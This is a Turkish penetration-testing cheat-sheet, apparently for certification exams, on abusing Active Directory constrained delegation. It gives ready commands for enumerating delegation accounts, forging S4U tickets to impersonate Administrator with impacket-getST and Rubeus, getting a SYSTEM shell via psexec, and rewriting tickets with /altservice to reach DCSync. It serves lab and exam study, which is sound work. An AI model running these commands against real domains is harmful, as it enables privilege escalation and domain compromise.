FOOTHOLD Metodoloji Cheat-sheet
Lateral ✓ EXAM-SAFE zor :88:445:389:135

Constrained Delegation (Kısıtlı Yetki Devri) — S4U2Self/S4U2Proxy ile Impersonation

msDS-AllowedToDelegateTo tanımlı bir hesap (kullanıcı veya bilgisayar) ele geçirildiğinde, S4U2Self + S4U2Proxy ile herhangi bir kullanıcı (ör. Administrator) adına izinli SPN'lere bilet alınabilir. impacket-getST -spn ... -impersonate Administrator veya Rubeus s4u kullanılır; protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION) gerekir.

Bilgi: ÖN KOŞULLAR
  • msDS-AllowedToDelegateTo özelliği dolu olan bir hesabın parolası VEYA NT hash'i VEYA AES anahtarı
  • İzin verilen SPN'in hedef host'una ağ erişimi (88/TCP Kerberos)
  • İmpersonate edilen kullanıcı 'sensitive / cannot be delegated' veya Protected Users grubunda OLMAMALI
  • Clock skew DC ile < 5 dakika
┌──

Komutlar

netexec ✓ EXAM-SAFE user
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --trusted-for-delegation
Delegation yetkili nesneleri listelerken constrained delegation hesapları da görünür; ayrıca msDS-AllowedToDelegateTo dolu nesneleri ayıklamak için BloodHound veya LDAP sorgusu kullan. NetExec Wiki - LDAP delegation enumeration
powershell ✓ EXAM-SAFE user
Get-DomainUser -TrustedToAuth -Properties samaccountname,msds-allowedtodelegateto; Get-DomainComputer -TrustedToAuth -Properties dnshostname,msds-allowedtodelegateto
PowerView ile protocol transition (TrustedToAuth = TRUSTED_TO_AUTH_FOR_DELEGATION) ayarlı hesapları ve msDS-AllowedToDelegateTo içindeki izinli SPN listesini çek. Hangi SPN'lere delege edilebileceğini buradan öğren. HackTricks - Constrained Delegation (PowerView Get-DomainUser -TrustedToAuth)
ldapsearch ✓ EXAM-SAFE user
ldapsearch -x -H ldap://{{DC_IP}} -D "{{USER}}@{{DOMAIN}}" -w '{{PASS}}' -b "DC={{DOMAIN}},DC=local" "(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo userAccountControl
msDS-AllowedToDelegateTo özelliği dolu tüm nesneleri ve izinli hedef SPN'leri listele. userAccountControl ile protocol transition bayrağını doğrula. The Hacker Recipes - Constrained Delegation (LDAP msDS-AllowedToDelegateTo)
impacket ✓ EXAM-SAFE user
impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator '{{DOMAIN}}/{{USER}}:{{PASS}}'
Ele geçirilen delegation hesabının (USER/PASS) kimliğiyle, Administrator adına cifs/{{DC_HOST}} SPN'ine S4U2Self+S4U2Proxy bileti al. Çıktı Administrator@cifs_DC_HOST.ccache dosyasıdır. WADComs - Impacket getST Constrained Delegation S4U
impacket ✓ EXAM-SAFE user
impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator -hashes :{{NTHASH}} '{{DOMAIN}}/{{USER}}'
Parola yerine NT hash ile aynı S4U akışı (pass-the-hash + S4U). Delegation hesabının NTHASH'i yeterli; AES için -aesKey kullanılabilir. The Hacker Recipes - Constrained Delegation (getST -hashes)
impacket ✓ EXAM-SAFE user
KRB5CCNAME=Administrator@cifs_{{DC_HOST}}.ccache impacket-psexec -k -no-pass {{DOMAIN}}/Administrator@{{DC_HOST}}
Alınan S4U biletini KRB5CCNAME ile yükleyip Kerberos-only (-k -no-pass) psexec ile hedef host'ta Administrator olarak SYSTEM shell al. cifs SPN psexec/smbexec için yeterlidir. WADComs - Impacket psexec -k -no-pass (Kerberos ticket)
rubeus ✓ EXAM-SAFE user
Rubeus.exe s4u /user:{{USER}} /rc4:{{NTHASH}} /impersonateuser:Administrator /msdsspn:cifs/{{DC_HOST}} /ptt
Windows tarafı: delegation hesabının (USER) hash'iyle S4U2Self+S4U2Proxy yapıp Administrator adına cifs/{{DC_HOST}} bileti al ve /ptt ile oturuma enjekte et. /aes256 daha OPSEC dostu. HackTricks - Constrained Delegation (Rubeus s4u)
rubeus ✓ EXAM-SAFE user
Rubeus.exe s4u /user:{{USER}} /rc4:{{NTHASH}} /impersonateuser:Administrator /msdsspn:cifs/{{DC_HOST}} /altservice:host,ldap,http,wsman /ptt
S4U2Proxy çıktısındaki bileti /altservice ile aynı host üzerinde farklı SPN'lere yeniden yaz (sname unchecked): host, ldap (DCSync için), http, wsman (WinRM). Constrained delegation'ın bilinen 'altservice' zafiyeti. HackTricks - Constrained Delegation Alternate Service (Rubeus /altservice)

Constrained Delegation Nedir

Kısıtlı yetki devri, bir hesabın yalnızca msDS-AllowedToDelegateTo listesindeki belirli SPN’lere kullanıcı adına bilet alabilmesidir. İki Kerberos uzantısı kullanılır: S4U2Self (hesap, herhangi bir kullanıcı adına KENDİSİNE forwardable bilet üretir — protocol transition) ve S4U2Proxy (bu bileti kullanarak izin verilen hedef SPN’e service ticket alır). Eğer hesapta TRUSTED_TO_AUTH_FOR_DELEGATION (protocol transition) bayrağı varsa, kullanıcının önceden Kerberos ile auth etmesine gerek kalmadan herhangi bir kullanıcı impersonate edilebilir.

Saldırı Mantığı

AllowedToDelegateTo özelliği dolu bir hesabın parola/hash/AES anahtarını ele geçirirsen, Administrator (veya herhangi bir privileged kullanıcı) adına izinli SPN’e bilet alıp o servise tam yetkiyle erişebilirsin.

Adımlar

  1. Enum: msDS-AllowedToDelegateTo dolu hesapları ve içindeki izinli SPN’leri bul (ldapsearch filtresi, PowerView -TrustedToAuth, BloodHound ‘Constrained Delegation’ edge).
  2. Credential: Delegation hesabının PASS / NTHASH / AES anahtarını edin (kerberoast, password spray, dump vs.).
  3. S4U bilet al: Linux’ta impacket-getST -spn <hedef_SPN> -impersonate Administrator; Windows’ta Rubeus s4u. Çıktı ccache veya /ptt ile enjekte edilen TGS.
  4. Erişim: KRB5CCNAME ile bileti yükle ve -k -no-pass psexec/wmiexec/smbexec ile hedef servise eriş.
  5. Yükselt (altservice): S4U2Proxy ile gelen TGS’in service adı şifrelenmediği için, cifs için alınan bilet host/ldap/http/wsman gibi başka SPN’lere yeniden yazılabilir (Rubeus /altservice). DC’de ldap SPN’i elde edilirse DCSync mümkün olur.

SPN Formatı ve Gotcha’lar

  • SPN formatı: Hedef SPN’i msDS-AllowedToDelegateTo’da göründüğü gibi yaz (servis/host[:port][/realm]). Yanlış case veya FQDN/short name uyuşmazlığı KDC_ERR_BADOPTION verir.
  • altservice gücü: S4U2Proxy bileti içindeki sname denetlenmediğinden cifs -> ldap/host/http dönüşümü constrained delegation’ı ‘unconstrained’e yakın güçlü kılar. cifs bileti SMB, host bileti task/service, ldap bileti DCSync için.
  • Protected Users / Sensitive: İmpersonate edeceğin kullanıcı ‘Account is sensitive and cannot be delegated’ (NOT_DELEGATED) işaretliyse veya Protected Users grubundaysa S4U başarısız olur — başka bir DA/privileged kullanıcı seç.
  • Clock skew: KRB_AP_ERR_SKEW için DC ile saat senkronu şart (sudo ntpdate {{DC_IP}}).
  • KRB5CCNAME: impacket-getST .ccache üretir; sonraki tüm impacket -k komutlarından önce export KRB5CCNAME=… yap, aksi halde tools parola ister.
  • rc4 vs aes: Rubeus s4u’da /rc4 (NT hash) çalışır ama AES-only ortamlarda /aes256 kullan; RC4 downgrade tespit edilebilir (OPSEC).
┌──

Kaynaklar

0/15 set